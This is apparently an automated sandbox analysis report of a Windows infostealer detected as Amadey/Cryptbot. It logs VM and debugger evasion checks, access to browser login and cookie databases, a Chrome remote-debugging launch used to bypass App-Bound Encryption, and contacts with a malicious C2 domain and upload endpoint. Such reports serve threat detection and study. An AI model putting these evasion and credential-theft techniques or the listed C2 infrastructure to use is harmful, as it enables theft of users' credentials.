Source: C:\Users\user\Desktop\NVkyG9HAeY.exe TID: 1704	Thread sleep count: 778 > 30	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe TID: 1704	Thread sleep time: -1556778s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe TID: 4456	Thread sleep count: 2059 > 30	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe TID: 4456	Thread sleep time: -4120059s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe TID: 2600	Thread sleep count: 703 > 30	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe TID: 2600	Thread sleep time: -1406703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe TID: 4084	Thread sleep count: 693 > 30	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe TID: 4084	Thread sleep time: -1386693s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe TID: 4456	Thread sleep count: 1093 > 30	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe TID: 4456	Thread sleep time: -2187093s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 4984	Thread sleep count: 5963 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 4984	Thread sleep time: -596300s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 4984	Thread sleep count: 4036 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 4984	Thread sleep time: -403600s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File opened: C:\Users\user\.ms-ad\	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File opened: C:\Users\user\AppData\Local\Google\	Jump to behavior

Source: Amcache.hve.14.dr	Binary or memory string: VMware
Source: Amcache.hve.14.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.14.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.14.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.14.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.14.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.14.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.14.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.14.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: NVkyG9HAeY.exe, 00000000.00000003.1346506903.0000000007B1F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: Amcache.hve.14.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.14.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.14.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: chrome.exe, 00000003.00000002.1804794072.000001F260638000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.14.dr	Binary or memory string: vmci.sys
Source: NVkyG9HAeY.exe, 00000000.00000003.1346506903.0000000007B1F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: Amcache.hve.14.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.14.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.14.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.14.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.14.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.14.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.14.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.14.dr	Binary or memory string: VMware-42 27 c7 3b 45 a3 e4 a4-61 bc 19 7c 28 5c 10 19
Source: Amcache.hve.14.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.14.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.14.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.14.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.14.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.14.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.14.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: NVkyG9HAeY.exe, 00000000.00000003.1380754758.00000000071F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Y\MACHINE\SYSTEM\ControlSet001\Services\VBoxSFlO#
Source: Amcache.hve.14.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File opened: NTICE
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File opened: SICE
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 9_2_00958230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError,

9_2_00958230

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_0095116C Sleep,Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,GetStartupInfoA,_cexit,_initterm,exit,	9_2_0095116C
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_009511A3 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,	9_2_009511A3
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_00951160 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,	9_2_00951160
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_009513C9 SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,	9_2_009513C9

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 9_2_6C8284D0 cpuid

9_2_6C8284D0

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: NVkyG9HAeY.exe, 00000000.00000003.1346506903.0000000007B1F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: procmon.exe
Source: Amcache.hve.14.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.14.dr	Binary or memory string: msmpeng.exe
Source: NVkyG9HAeY.exe, 00000000.00000003.1346506903.0000000007B1F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wireshark.exe
Source: Amcache.hve.14.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.14.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.14.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Clipboard Hijacker

Source: Yara match	File source: 9.2.service123.exe.6c7a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: Process Memory Space: service123.exe PID: 4944, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.9:49723 -> 194.87.47.113:80

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite	Jump to behavior

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Process Injection	1 Masquerading	1 OS Credential Dumping	741 Security Software Discovery	Remote Services	11 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 DLL Side-Loading	1 Scheduled Task/Job	24 Virtualization/Sandbox Evasion	LSASS Memory	24 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Data from Local System	1 Remote Access Software	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Process Injection	Security Account Manager	11 Process Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	4 Obfuscated Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Software Packing	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	234 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Extra Window Memory Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
NVkyG9HAeY.exe	76%	Virustotal		Browse
NVkyG9HAeY.exe	63%	ReversingLabs	Win32.Trojan.Amadey
NVkyG9HAeY.exe	100%	Avira	TR/Crypt.TPM.Gen
NVkyG9HAeY.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322?argument=QlaozPmcCuPAgq4w1734591653	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.google.com	142.250.181.132	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
home.twentytk20pn.top	194.87.47.113	true	false	high
twentytk20pn.top	194.87.47.113	true	false	high
httpbin.org	98.85.100.80	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322?argument=QlaozPmcCuPAgq4w1734591653	true	Avira URL Cloud: malware	unknown
http://twentytk20pn.top/v1/upload.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	chrome.exe, 00000003.00000002.1824555103.00004E8400CC8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://gcc.gnu.org/bugs/):	ehoYPkfWhVokJMBQaExv.dll.0.dr	false	high
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 00000003.00000002.1814209114.00004E8400562000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1821276064.00004E8400624000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1811141150.00004E84000E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824765765.00004E8400D30000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	chrome.exe, 00000003.00000002.1824473314.00004E8400CAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1792308045.00004E8400CAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1794217377.00004E8400CAC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing	chrome.exe, 00000003.00000002.1810960372.00004E840008C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 00000003.00000002.1822172698.00004E8400794000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/document/J	chrome.exe, 00000003.00000002.1823731948.00004E8400AA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1814209114.00004E8400562000.00000004.00000800.00020000.00000000.sdmp	false	high
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone	chrome.exe, 00000003.00000002.1826943024.00004E840101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1822343271.00004E84007E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1813208284.00004E840041C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/4633	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7382	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://issuetracker.google.com/284462263	chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824555103.00004E8400CC8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly	chrome.exe, 00000003.00000002.1813982277.00004E84004E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1822512748.00004E840080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1822600433.00004E840081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1821534078.00004E84006A8000.00000004.00000800.00020000.00000000.sdmp	false	high
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000003.00000003.1796969323.00004E84010F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798456925.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1796859297.00004E84010E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1797094252.00004E8401110000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798401665.00004E8400494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798776209.00004E84003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798533276.00004E8401060000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798431881.00004E84006E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1797024896.00004E8401020000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1797003039.00004E8401144000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1812616628.00004E84002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798961703.00004E840120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1799059522.00004E840126C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798877963.00004E8400FB8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/	chrome.exe, 00000003.00000003.1787012100.00004E84004C0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/document/:	chrome.exe, 00000003.00000002.1823731948.00004E8400AA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1814209114.00004E8400562000.00000004.00000800.00020000.00000000.sdmp	false	high
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 00000003.00000002.1812616628.00004E84002F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1823397104.00004E84009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1796459871.00004E8400FB8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7714	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://unisolated.invalid/	chrome.exe, 00000003.00000002.1823465999.00004E84009F4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000003.00000003.1798776209.00004E84003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798961703.00004E840120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1799059522.00004E840126C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/chrome/tips/	chrome.exe, 00000003.00000002.1811856185.00004E84001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1822793390.00004E8400890000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1825528926.00004E8400E54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1823238963.00004E8400980000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/?lfhs=2	chrome.exe, 00000003.00000003.1798646774.00004E8400F08000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1811856185.00004E84001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1814209114.00004E8400562000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1793994167.00004E8400F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1826252760.00004E8400F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1825413246.00004E8400E1C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/6248	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/6929	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/5281	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.youtube.com/?feature=ytca	chrome.exe, 00000003.00000003.1798646774.00004E8400F08000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1814209114.00004E8400562000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1793994167.00004E8400F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1826252760.00004E8400F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1825413246.00004E8400E1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824555103.00004E8400CC8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.googl0	chrome.exe, 00000003.00000002.1812766416.00004E840032C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://issuetracker.google.com/255411748	chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824555103.00004E8400CC8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/document/u/0/create?usp=chrome_actions	chrome.exe, 00000003.00000002.1813982277.00004E84004E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1822512748.00004E840080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1822600433.00004E840081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824726026.00004E8400D1C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7246	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7369	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
